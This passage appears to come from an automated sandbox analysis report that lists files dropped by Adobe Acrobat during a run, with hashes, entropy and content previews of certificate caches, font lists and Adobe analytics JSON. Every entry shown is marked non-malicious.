Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.214181948039558
Encrypted:	false
SSDEEP:	24:7+tRfG6wKLWqL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9E:7MRuWLWq/mFTIF3XmHjBoGGR+jMz+LhG
MD5:	DB0576CC69F5EC6B0BE71E017F060695
SHA1:	0E9A8C048B9F3A9FF0E20498A9F9060364E913AB
SHA-256:	E533B8451D6542F2059088DEAFD0DA78AD8CDA2A69F9B999E721B049B8AA877D
SHA-512:	D4668DC050F396833E01238BDDB132368A125197E644579F7301EDD1B134B9B8DAA3251739AC5E9064BD861F3D5EB4F11D7F7117EF31628E4D6159D12464E445
Malicious:	false
Preview:	.... .c......$2.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7647458239154146
Encrypted:	false
SSDEEP:	3:kkFklXbLW/ltfllXlE/HT8ki5h1NNX8RolJuRdxLlGB9lQRYwpDdt:kKpeT8FRNMa8RdWBwRd
MD5:	F545BFBAF1C07DFF47AA37BFE25A6808
SHA1:	E5CF90102A4675336FD7944C0FC5E3A0FDC9E911
SHA-256:	E8201B1C3A2D79CE866C821F37D8C014AA4A3C34E68033588A8BBD007346C2F3
SHA-512:	0FB07131B55BA5FEF57A9321190145486676FC75FC51229920820B8A8296684CCC6811F5469EBB5F694C32AC8030620769E1E4BDEB04E877F7F4E124B8E25786
Malicious:	false
Preview:	p...... .........>...c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2368928658074476
Encrypted:	false
SSDEEP:	6:kK/hL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:nhiDImsLNkPlE99SNxAhUe/3
MD5:	9561A2A3C67C0E287ADFA1FA816A04FA
SHA1:	0A9663CC2C49D9A95586FB4D5DBA775C38417141
SHA-256:	D75869337FB6B25BA33F1E578E1B34450B515FEF4C7B4AD8290295E8062A1D83
SHA-512:	509FF1CD0069FB3F8A89D4543896E8B9FBE00B930BC5E1B79FAC7D761CDF2E121C6829BE0E518425572DD8ADEF33F0F0AD456708E9CEB92E6E76651E93736FF1
Malicious:	false
Preview:	p...... .........#&..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7896

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7896

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.347826205620823
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVjIRfgIc4UXjb24kF0YkUuqoAvJM3g98kUwPeUkwRe9:YvXKXVjgUTbd/GMbLUkee9
MD5:	70025EE16109261EDCC75B8FE8972D90
SHA1:	7772CF437FB06A76653DD66BD29FE9998B621E78
SHA-256:	223E42C41DA7D9EC70E41967AE08E28F9A83A020D8D7F9C1F72F0574A98577F3
SHA-512:	64E998400F8CF127B6AEAA0B62AB2B791F2EDF228DA879AA7C7EC64F62860C2C38237A8B4E0687986D1A015E31A7F66064B00CB31A391C45A9B6DDBAAF55E48B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ce6af91c-2ebf-4cfc-82b8-828515860a1b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736706129297,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.282267173146776
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVjIRfgIc4UXjb24kF0YkUuqoAvJfBoTfXpnrPeUkwRe9:YvXKXVjgUTbd/GWTfXcUkee9
MD5:	13280DFA4155EB4FA2EAC1FA849953A3
SHA1:	DE44DC18E5371C5B442D3094E34E60B3B44B4815
SHA-256:	D633EA100A7CAD64FDFE653288AA45D5F4779E2A5D5273B86053D2D8F60AA1BC
SHA-512:	8966BF38F7E41AC41009B7F83F38EE528AF7F4DA55DE3AA5408F8FFB54FE03ED316A3EED16E05B3677CB0188BC6F056E9953E4EFE1AFB5E3EC3649DBB7550DFB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ce6af91c-2ebf-4cfc-82b8-828515860a1b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736706129297,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.260028243518602
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVjIRfgIc4UXjb24kF0YkUuqoAvJfBD2G6UpnrPeUkwRe9:YvXKXVjgUTbd/GR22cUkee9
MD5:	83C85F02AEB6EF66A1BBDE279113C5EC
SHA1:	ECA5EB385E3A11F07BD4AFA20A8C916D4BBCB607
SHA-256:	3EFA55923AF80E4667AFCCD545CDC9732EAB066C67A6650D17F6E828E63B680B
SHA-512:	041F70C9A652F1A9DF3D4BC1BC13FDB0EAE2E09A07D24C130D96496D13EEDBBD8937307A2513EE656E6C49D2A2D14A6B4B5D23483A940E6DA362C50DA41CED93
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ce6af91c-2ebf-4cfc-82b8-828515860a1b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736706129297,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.321559751274803
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVjIRfgIc4UXjb24kF0YkUuqoAvJfPmwrPeUkwRe9:YvXKXVjgUTbd/GH56Ukee9
MD5:	E8098A93670563F94171A712C1EDDBC6
SHA1:	ED6F63977D33FC39DD61DE57642A68FBD627674C
SHA-256:	F25BCFE82843AA6DC3BC69F4D856DBDB94B2902480899DEF3EE0B43AC4CB10F4
SHA-512:	0E129D8CE8E895630FB4615C2F2F15D3DEEDB31D7CA582551F9AA39351C7C57A1B66BCFBE0EC316012DCD29C5C6A6AE8FA5B426F55FCB81AEB94FEFF72A3689C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ce6af91c-2ebf-4cfc-82b8-828515860a1b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736706129297,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6850690463263795
Encrypted:	false
SSDEEP:	24:Yv6XiUXipLgE9cQx8LennAvzBvkn0RCmK8czOCCSvn:Yvrwihgy6SAFv5Ah8cv/v
MD5:	1000EB14BDED6C853753E070C0192887
SHA1:	61A45CE53622EC9796CCB2C9AC0C9A7EFDDDC033
SHA-256:	F6A5AA1AE58F86B5176E4722131808461339D32D18C525B94BA75E0EE74BA0A2
SHA-512:	297D4C7E5CBA53542E220AFFED3B8E2092386DC45F37F74A1B4887D6D62D38CEBC27F5877880D9F3B67D7D66EF17B85905E7DBEB9BF37A846AA135743F5B3AC3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ce6af91c-2ebf-4cfc-82b8-828515860a1b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736706129297,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.263338645742039
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVjIRfgIc4UXjb24kF0YkUuqoAvJf8dPeUkwRe9:YvXKXVjgUTbd/GU8Ukee9
MD5:	BDFEB8869A195CF1561D830F98065415
SHA1:	EB91F12D26D45671C435F39C7A36891DDDD14742
SHA-256:	DDA0A04F4936F619AA9F5C9B69D36334291894589EDFFE2BB5D301D66CA101F5
SHA-512:	01C187BB89102EA139F409FF47AA30178C626545566116CF61272D01E812BB5B3A5C45B0B060C8659009F1D489908B72FD3B4D69AEEC8E9F128144DD151FE3AB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ce6af91c-2ebf-4cfc-82b8-828515860a1b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736706129297,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.266367555634092
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVjIRfgIc4UXjb24kF0YkUuqoAvJfQ1rPeUkwRe9:YvXKXVjgUTbd/GY16Ukee9
MD5:	C5A17713FED46175CF7071E9DE484EE6
SHA1:	D23368E4472CC5483EFCBB780DF491CA69E237E8
SHA-256:	56A2CF4CDF0808669095EF56392BBC4960B19C4D76F20BB0118708610EE58A8C
SHA-512:	765D88A9A98447EE9FC530B78F1EDC7A3C64C39E9D3CE5724162474637398EAE1FCE2C851DFB924C49FE716B5A1D27E922B37AD669CAD6454531FB7B6C1E442B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ce6af91c-2ebf-4cfc-82b8-828515860a1b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736706129297,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.279016880223826
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVjIRfgIc4UXjb24kF0YkUuqoAvJfFldPeUkwRe9:YvXKXVjgUTbd/Gz8Ukee9
MD5:	38C42DC7FFB16075B6085A604C17D56A
SHA1:	4BC8AF431AD799EF3B60C7A4961D002D53404420
SHA-256:	95E2F6F8080BA581E87C133C58F28053C4C1F52AF35EE2ABD58FE466B4A3FFB4
SHA-512:	EE8FB4B4B8BC362C0CC2283E1363013EB0A59E24C49FC522C0494A2D8E06739C5E6035CA01066C518F44A0A16021F76BD93162B0A0EA16CC4E10AC77A39B48D9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ce6af91c-2ebf-4cfc-82b8-828515860a1b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736706129297,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
